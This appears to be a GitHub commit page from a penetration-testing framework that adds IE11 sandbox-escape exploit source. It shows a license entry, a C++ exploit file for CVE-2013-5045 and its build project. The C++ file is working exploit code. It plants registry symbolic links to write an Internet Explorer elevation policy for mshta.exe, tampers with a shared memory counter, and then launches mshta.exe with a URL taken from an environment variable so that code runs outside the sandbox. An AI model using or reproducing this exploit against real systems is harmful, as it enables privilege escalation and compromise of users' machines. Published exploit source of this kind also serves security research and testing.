Skip to content

Commit 75777cb

Browse files
jvazquez-r7jvazquez-r7
committed
Add IE11SandboxEscapes source
1 parent 53ab2ae commit 75777cb

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

42 files changed

+3647
-0
lines changed

‎LICENSE

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,10 @@ Files: external/ruby-lorcon/*
3636
Copyright: 2005, dragorn and Joshua Wright
3737
License: LGPL-2.1
3838

39+
Files: external/source/exploits/IE11SandboxEscapes/*
40+
Copyright: James Forshaw, 2014
41+
License: GPLv3
42+
3943
Files: external/source/byakugan/*
4044
Copyright: Lurene Grenier, 2009
4145
License: BSD-3-clause

‎external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp

Lines changed: 184 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,184 @@
1+
// This file is part of IE11SandboxEsacapes.
2+
3+
// IE11SandboxEscapes is free software: you can redistribute it and/or modify
4+
// it under the terms of the GNU General Public License as published by
5+
// the Free Software Foundation, either version 3 of the License, or
6+
// (at your option) any later version.
7+
8+
// IE11SandboxEscapes is distributed in the hope that it will be useful,
9+
// but WITHOUT ANY WARRANTY; without even the implied warranty of
10+
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11+
// GNU General Public License for more details.
12+
13+
// You should have received a copy of the GNU General Public License
14+
// along with IE11SandboxEscapes. If not, see <http://www.gnu.org/licenses/>.
15+
16+
#include "stdafx.h"
17+
#include <winternl.h>
18+
#include <IEPMapi.h>
19+
20+
#define MAX_ENV 32767
21+
22+
#pragma comment(lib, "Iepmapi.lib")
23+
24+
typedef NTSTATUS (__stdcall *fNtOpenSection)(
25+
_Out_ PHANDLE SectionHandle,
26+
_In_ ACCESS_MASK DesiredAccess,
27+
_In_ POBJECT_ATTRIBUTES ObjectAttributes
28+
);
29+
30+
HANDLE MyCreateProcess(bstr_t exec, bstr_t cmdline)
31+
{
32+
STARTUPINFO startInfo = { 0 };
33+
PROCESS_INFORMATION procInfo = { 0 };
34+
35+
if (!CreateProcess(exec, cmdline, NULL, NULL, FALSE, 0, NULL, NULL,
36+
&startInfo, &procInfo))
37+
{
38+
DebugPrintf("Error Creating Process: %d", GetLastError());
39+
40+
return nullptr;
41+
}
42+
else
43+
{
44+
CloseHandle(procInfo.hThread);
45+
46+
return procInfo.hProcess;
47+
}
48+
}
49+
50+
bstr_t GetExploitUrl(LPWSTR env)
51+
{
52+
WCHAR buf[MAX_ENV];
53+
54+
GetEnvironmentVariable(env, buf, MAX_ENV);
55+
56+
return buf;
57+
}
58+
59+
void CreateIEProcess()
60+
{
61+
HANDLE hProcess = MyCreateProcess(GetExecutableFileName(nullptr), L"iexplore.exe " + GetExploitUrl(L"HTML_URL"));
62+
63+
if (hProcess)
64+
{
65+
WaitForSingleObject(hProcess, 1000);
66+
CloseHandle(hProcess);
67+
}
68+
}
69+
70+
void CreateUserKey(LPCWSTR path)
71+
{
72+
STARTUPINFO startInfo = { 0 };
73+
PROCESS_INFORMATION procInfo = { 0 };
74+
bstr_t sid = GetUserSid();
75+
76+
bstr_t linkName = L"\\Registry\\User\\" + sid + L"\\Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain";
77+
78+
LONG res = RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain");
79+
80+
DebugPrintf("Delete: %d", res);
81+
82+
bstr_t destName = L"\\Registry\\User\\" + sid + path;
83+
84+
CreateLink(linkName, destName, 0);
85+
86+
CreateIEProcess();
87+
88+
DeleteLink(linkName);
89+
}
90+
91+
void DoRegistrySymlink()
92+
{
93+
STARTUPINFO startInfo = { 0 };
94+
PROCESS_INFORMATION procInfo = { 0 };
95+
HKEY hKey = nullptr;
96+
HANDLE hSection = nullptr;
97+
bstr_t sid = GetUserSid();
98+
bool success = false;
99+
100+
try
101+
{
102+
CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights");
103+
CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy");
104+
CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}");
105+
106+
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}",
107+
0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey);
108+
109+
if (res != 0)
110+
{
111+
DebugPrintf("Open Class Key Failed %d", res);
112+
throw 0;
113+
}
114+
115+
CreateRegistryValueString(hKey, L"AppName", L"mshta.exe");
116+
CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory());
117+
CreateRegistryValueDword(hKey, L"Policy", 3);
118+
119+
bstr_t name = GetSessionPath() + L"\\BaseNamedObjects\\LRIEElevationPolicy_";
120+
121+
UNICODE_STRING objName = { 0 };
122+
objName.Buffer = name;
123+
objName.Length = SysStringByteLen(name);
124+
objName.MaximumLength = SysStringByteLen(name);
125+
126+
OBJECT_ATTRIBUTES objAttr = { 0 };
127+
128+
InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, 0, 0);
129+
130+
fNtOpenSection pfNtOpenSection = (fNtOpenSection)GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenSection");
131+
132+
NTSTATUS status = pfNtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, &objAttr);
133+
134+
if (status != 0)
135+
{
136+
DebugPrintf("Error opening section: %08X\n", status);
137+
throw 0;
138+
}
139+
140+
unsigned int* p = (unsigned int*)MapViewOfFile(hSection, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, sizeof(unsigned int));
141+
142+
if (p == nullptr)
143+
{
144+
DebugPrintf("Error mapping section %d\n", GetLastError());
145+
throw 0;
146+
}
147+
148+
DebugPrintf("Current Counter: %d\n", *p);
149+
150+
// Increment
151+
*p = *p + 1;
152+
153+
DebugPrintf("New Counter: %d\n", *p);
154+
155+
UnmapViewOfFile(p);
156+
CloseHandle(hSection);
157+
hSection = nullptr;
158+
159+
MyCreateProcess(GetWindowsSystemDirectory() + L"\\mshta.exe", L"mshta.exe " + GetExploitUrl(L"HTA_URL"));
160+
}
161+
catch (...)
162+
{
163+
}
164+
165+
if (hSection)
166+
{
167+
CloseHandle(hSection);
168+
}
169+
170+
if (hKey)
171+
{
172+
RegCloseKey(hKey);
173+
}
174+
175+
}
176+
177+
DWORD CALLBACK ExploitThread(LPVOID hModule)
178+
{
179+
CoInitialize(nullptr);
180+
DoRegistrySymlink();
181+
CoUninitialize();
182+
183+
FreeLibraryAndExitThread((HMODULE)hModule, 0);
184+
}

‎external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.vcxproj

Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Debug|Win32">
5+
<Configuration>Debug</Configuration>
6+
<Platform>Win32</Platform>
7+
</ProjectConfiguration>
8+
<ProjectConfiguration Include="Debug|x64">
9+
<Configuration>Debug</Configuration>
10+
<Platform>x64</Platform>
11+
</ProjectConfiguration>
12+
<ProjectConfiguration Include="Release|Win32">
13+
<Configuration>Release</Configuration>
14+
<Platform>Win32</Platform>
15+
</ProjectConfiguration>
16+
<ProjectConfiguration Include="Release|x64">
17+
<Configuration>Release</Configuration>
18+
<Platform>x64</Platform>
19+
</ProjectConfiguration>
20+
</ItemGroup>
21+
<PropertyGroup Label="Globals">
22+
<ProjectGuid>{A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}</ProjectGuid>
23+
<Keyword>Win32Proj</Keyword>
24+
<RootNamespace>CVE20140268</RootNamespace>
25+
<ProjectName>CVE-2013-5045</ProjectName>
26+
</PropertyGroup>
27+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
28+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
29+
<ConfigurationType>DynamicLibrary</ConfigurationType>
30+
<UseDebugLibraries>true</UseDebugLibraries>
31+
<PlatformToolset>v120</PlatformToolset>
32+
<CharacterSet>Unicode</CharacterSet>
33+
</PropertyGroup>
34+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
35+
<ConfigurationType>DynamicLibrary</ConfigurationType>
36+
<UseDebugLibraries>true</UseDebugLibraries>
37+
<PlatformToolset>v120</PlatformToolset>
38+
<CharacterSet>Unicode</CharacterSet>
39+
</PropertyGroup>
40+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
41+
<ConfigurationType>DynamicLibrary</ConfigurationType>
42+
<UseDebugLibraries>false</UseDebugLibraries>
43+
<PlatformToolset>v120</PlatformToolset>
44+
<WholeProgramOptimization>true</WholeProgramOptimization>
45+
<CharacterSet>Unicode</CharacterSet>
46+
</PropertyGroup>
47+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
48+
<ConfigurationType>DynamicLibrary</ConfigurationType>
49+
<UseDebugLibraries>false</UseDebugLibraries>
50+
<PlatformToolset>v120</PlatformToolset>
51+
<WholeProgramOptimization>true</WholeProgramOptimization>
52+
<CharacterSet>Unicode</CharacterSet>
53+
</PropertyGroup>
54+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
55+
<ImportGroup Label="ExtensionSettings">
56+
</ImportGroup>
57+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
58+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
59+
</ImportGroup>
60+
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
61+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
62+
</ImportGroup>
63+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
64+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
65+
</ImportGroup>
66+
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
67+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
68+
</ImportGroup>
69+
<PropertyGroup Label="UserMacros" />
70+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
71+
<LinkIncremental>true</LinkIncremental>
72+
</PropertyGroup>
73+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
74+
<LinkIncremental>true</LinkIncremental>
75+
</PropertyGroup>
76+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
77+
<LinkIncremental>false</LinkIncremental>
78+
</PropertyGroup>
79+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
80+
<LinkIncremental>false</LinkIncremental>
81+
</PropertyGroup>
82+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
83+
<ClCompile>
84+
<PrecompiledHeader>Use</PrecompiledHeader>
85+
<WarningLevel>Level3</WarningLevel>
86+
<Optimization>Disabled</Optimization>
87+
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
88+
<SDLCheck>true</SDLCheck>
89+
<AdditionalIncludeDirectories>..\CommonUtils</AdditionalIncludeDirectories>
90+
</ClCompile>
91+
<Link>
92+
<SubSystem>Windows</SubSystem>
93+
<GenerateDebugInformation>true</GenerateDebugInformation>
94+
<ModuleDefinitionFile>CVE-2014-0268.def</ModuleDefinitionFile>
95+
</Link>
96+
</ItemDefinitionGroup>
97+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
98+
<ClCompile>
99+
<PrecompiledHeader>Use</PrecompiledHeader>
100+
<WarningLevel>Level3</WarningLevel>
101+
<Optimization>Disabled</Optimization>
102+
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
103+
<SDLCheck>true</SDLCheck>
104+
<AdditionalIncludeDirectories>..\CommonUtils</AdditionalIncludeDirectories>
105+
</ClCompile>
106+
<Link>
107+
<SubSystem>Windows</SubSystem>
108+
<GenerateDebugInformation>true</GenerateDebugInformation>
109+
<ModuleDefinitionFile>CVE-2014-0268.def</ModuleDefinitionFile>
110+
</Link>
111+
</ItemDefinitionGroup>
112+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
113+
<ClCompile>
114+
<WarningLevel>Level3</WarningLevel>
115+
<PrecompiledHeader>Use</PrecompiledHeader>
116+
<Optimization>MaxSpeed</Optimization>
117+
<FunctionLevelLinking>true</FunctionLevelLinking>
118+
<IntrinsicFunctions>true</IntrinsicFunctions>
119+
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
120+
<SDLCheck>true</SDLCheck>
121+
<AdditionalIncludeDirectories>..\CommonUtils</AdditionalIncludeDirectories>
122+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
123+
</ClCompile>
124+
<Link>
125+
<SubSystem>Windows</SubSystem>
126+
<GenerateDebugInformation>true</GenerateDebugInformation>
127+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
128+
<OptimizeReferences>true</OptimizeReferences>
129+
<ModuleDefinitionFile>
130+
</ModuleDefinitionFile>
131+
</Link>
132+
</ItemDefinitionGroup>
133+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
134+
<ClCompile>
135+
<WarningLevel>Level3</WarningLevel>
136+
<PrecompiledHeader>Use</PrecompiledHeader>
137+
<Optimization>MaxSpeed</Optimization>
138+
<FunctionLevelLinking>true</FunctionLevelLinking>
139+
<IntrinsicFunctions>true</IntrinsicFunctions>
140+
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
141+
<SDLCheck>true</SDLCheck>
142+
<AdditionalIncludeDirectories>..\CommonUtils</AdditionalIncludeDirectories>
143+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
144+
</ClCompile>
145+
<Link>
146+
<SubSystem>Windows</SubSystem>
147+
<GenerateDebugInformation>true</GenerateDebugInformation>
148+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
149+
<OptimizeReferences>true</OptimizeReferences>
150+
<ModuleDefinitionFile>CVE-2014-0268.def</ModuleDefinitionFile>
151+
</Link>
152+
</ItemDefinitionGroup>
153+
<ItemGroup>
154+
<ClInclude Include="stdafx.h" />
155+
<ClInclude Include="targetver.h" />
156+
</ItemGroup>
157+
<ItemGroup>
158+
<ClCompile Include="CVE-2013-5045.cpp" />
159+
<ClCompile Include="dllmain.cpp">
160+
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
161+
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
162+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
163+
</PrecompiledHeader>
164+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
165+
</PrecompiledHeader>
166+
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
167+
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
168+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
169+
</PrecompiledHeader>
170+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
171+
</PrecompiledHeader>
172+
</ClCompile>
173+
<ClCompile Include="stdafx.cpp">
174+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
175+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
176+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
177+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
178+
</ClCompile>
179+
</ItemGroup>
180+
<ItemGroup>
181+
<ProjectReference Include="..\CommonUtils\CommonUtils.vcxproj">
182+
<Project>{04dde547-bb65-4c0c-b80b-231df42c7a1d}</Project>
183+
</ProjectReference>
184+
</ItemGroup>
185+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
186+
<ImportGroup Label="ExtensionTargets">
187+
</ImportGroup>
188+
</Project>

0 commit comments

Comments
 (0)